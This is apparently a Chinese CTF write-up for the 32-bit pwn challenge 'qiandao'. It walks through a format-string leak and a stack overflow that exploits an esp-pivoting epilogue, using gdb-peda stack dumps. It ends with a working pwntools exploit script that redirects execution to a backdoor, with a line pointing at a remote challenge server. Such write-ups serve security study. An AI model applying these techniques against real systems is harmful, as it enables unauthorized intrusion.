qiandao | 格式化字符串+栈溢出

chen@ubuntu:~/Desktop$ checksec qiandao

[*] '/home/chen/Desktop/qiandao'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

gets(&s);
printf(&s);//格式化字符串漏洞,泄露栈上的信息
...
gets(&v4);//no canary 所以存在栈溢出

在main函数结尾发现已下的汇编代码,对汇编代码的分析很关键

.text:080485FD                 mov     ecx, [ebp+var_4]
.text:08048600 leave
.text:08048601 lea esp, [ecx-4]
.text:08048604 retn

  • 这段汇编决定了直接栈溢出无效,关键就在于esp被改变
  • mov ecx, [ebp+var_4],ecx=(ebp-0x4)地址中的内容赋值
  • lea esp,[ecx-4]可以认为是mov esp,ecx-0x4即esp=ecx-0x4,esp指针被控制则会影响ret
采用gdb-peda辅助分析
ECX: 0xf7fb75a0 --> 0xfbad208b    //执行mov     ecx, [ebp+var_4]之前
EDX: 0xf7fb887c --> 0x0
ESI: 0xf7fb7000 --> 0x1afdb0
EDI: 0xf7fb7000 --> 0x1afdb0
EBP: 0xffffd068 --> 0x0
ESP: 0xffffd040 --> 0x61 ('a')
..........
ECX: 0xffffd080 --> 0x1 //执行mov ecx, [ebp+var_4]之后
EDX: 0xf7fb887c --> 0x0
ESI: 0xf7fb7000 --> 0x1afdb0
EDI: 0xf7fb7000 --> 0x1afdb0
EBP: 0xffffd068 --> 0x0
ESP: 0xffffd040 --> 0x61 ('a')
...........
gdb-peda$ stack 30
0000| 0xffffd040 --> 0x61 ('a')
0004| 0xffffd044 --> 0x0
0008| 0xffffd048 --> 0xf7e35840 (add ebx,0x1817c0)
0012| 0xffffd04c --> 0x804865b (<__libc_csu_init+75>: add edi,0x1)
0016| 0xffffd050 --> 0x61 ('a')
0020| 0xffffd054 --> 0xffffd114 --> 0xffffd2e9 ("/home/chen/Desktop/qiandao")
0024| 0xffffd058 --> 0xffffd11c --> 0xffffd304 ("XDG_VTNR=7")
0028| 0xffffd05c --> 0x8048631 (<__libc_csu_init+33>: lea eax,[ebx-0xf8])
0032| 0xffffd060 --> 0xf7fb73dc --> 0xf7fb81e0 --> 0x0
0036| 0xffffd064 --> 0xffffd080 --> 0x1 //EBP-4 ,ecx=(ebp-0x4)地址中的内容赋值
0040| 0xffffd068 --> 0x0 //EBP
0044| 0xffffd06c --> 0xf7e1f647 (<__libc_start_main+247>: add esp,0x10)
0048| 0xffffd070 --> 0xf7fb7000 --> 0x1afdb0
0052| 0xffffd074 --> 0xf7fb7000 --> 0x1afdb0
0056| 0xffffd078 --> 0x0
0060| 0xffffd07c --> 0xf7e1f647 (<__libc_start_main+247>: add esp,0x10)
0064| 0xffffd080 --> 0x1 //ECX
接下来 leave,则mov esp,ebp=>esp=ebp=0xffffd068,pop ebp之后esp=0xffffd06c,之后esp=ecx-0x4= [ebp+var_4]-0x4(此处ebp=0xffffd068),转化一下就是esp= [0xffffd064]-0x4,esp=var_4(在栈上可以覆盖)的内容-0x4,
gdb ./qiandao
disas main
b * 0x080485d1
在printf(&s);处下断点,便于观察输入在栈上的位置
gdb-peda$ stack 30
0000| 0xffffd030 --> 0xffffd050 ("%p%p%p%p%p%p")
0004| 0xffffd034 --> 0xf7fb7000 --> 0x1afdb0 //第一个%p=>0xf7fb7000
0008| 0xffffd038 --> 0xffffd068 --> 0x0 //第二个%p=>0xffffd068=ebp=>%2$p
0012| 0xffffd03c --> 0x80485ab (<main+22>: sub esp,0xc)
0016| 0xffffd040 --> 0x1 //ebp-0x28 gets(&s)第二次输入点[0xffffd064]-0x4
0020| 0xffffd044 --> 0x0 //ebp-0x24 [0xffffd06c]= 0xffffd044=>
0024| 0xffffd048 --> 0xf7e35840 (add ebx,0x1817c0)
0028| 0xffffd04c --> 0x804865b (<__libc_csu_init+75>: add edi,0x1)
0032| 0xffffd050 ("%p%p%p%p%p%p")
0036| 0xffffd054 ("%p%p%p%p")
0040| 0xffffd058 ("%p%p")
0044| 0xffffd05c --> 0x8048600 (<main+107>: leave)
0048| 0xffffd060 --> 0xf7fb73dc --> 0xf7fb81e0 --> 0x0
0052| 0xffffd064 --> 0xffffd080 --> 0x1
0056| 0xffffd068 --> 0x0
0060| 0xffffd06c --> 0xf7e1f647 (<__libc_start_main+247>: add esp,0x10)
0064| 0xffffd070 --> 0xf7fb7000 --> 0x1afdb0
0068| 0xffffd074 --> 0xf7fb7000 --> 0x1afdb0
0072| 0xffffd078 --> 0x0
0076| 0xffffd07c --> 0xf7e1f647 (<__libc_start_main+247>: add esp,0x10)
0080| 0xffffd080 --> 0x1
0084| 0xffffd084 --> 0xffffd114 --> 0xffffd2e9 ("/home/chen/Desktop/qiandao")
0088| 0xffffd088 --> 0xffffd11c --> 0xffffd304 ("XDG_VTNR=7")
0092| 0xffffd08c --> 0x0
0096| 0xffffd090 --> 0x0
0100| 0xffffd094 --> 0x0
0104| 0xffffd098 --> 0xf7fb7000 --> 0x1afdb0
0108| 0xffffd09c --> 0xf7ffdc04 --> 0x0
0112| 0xffffd0a0 --> 0xf7ffd000 --> 0x23f40
0116| 0xffffd0a4 --> 0x0

payload

from pwn import*
p=remote("183.129.189.60",10019)
p=process('./qiandao')
context.log_level='debug'
context.arch='i386'
p.recvuntil("what's your name:\n")# this is an error \n
#payload=0x24*'a'+p32(ebp)+'bbbb'+p32(0x804857d)
p.sendline("%2$p")
p.recvuntil('0x')
addr=int(p.recvuntil('\n').strip('\n'),16)
print(hex(addr))
back_door=0x804857d
payload=p32(back_door)+'a'*0x20+p32(addr-0x24)# use addr var_4 to get backdoor on the stack
p.recvuntil("Can you solve this sign-in problem?\n")
p.send(payload)
p.interactive()

本地

远程:提交flag还要去掉flag{},呵呵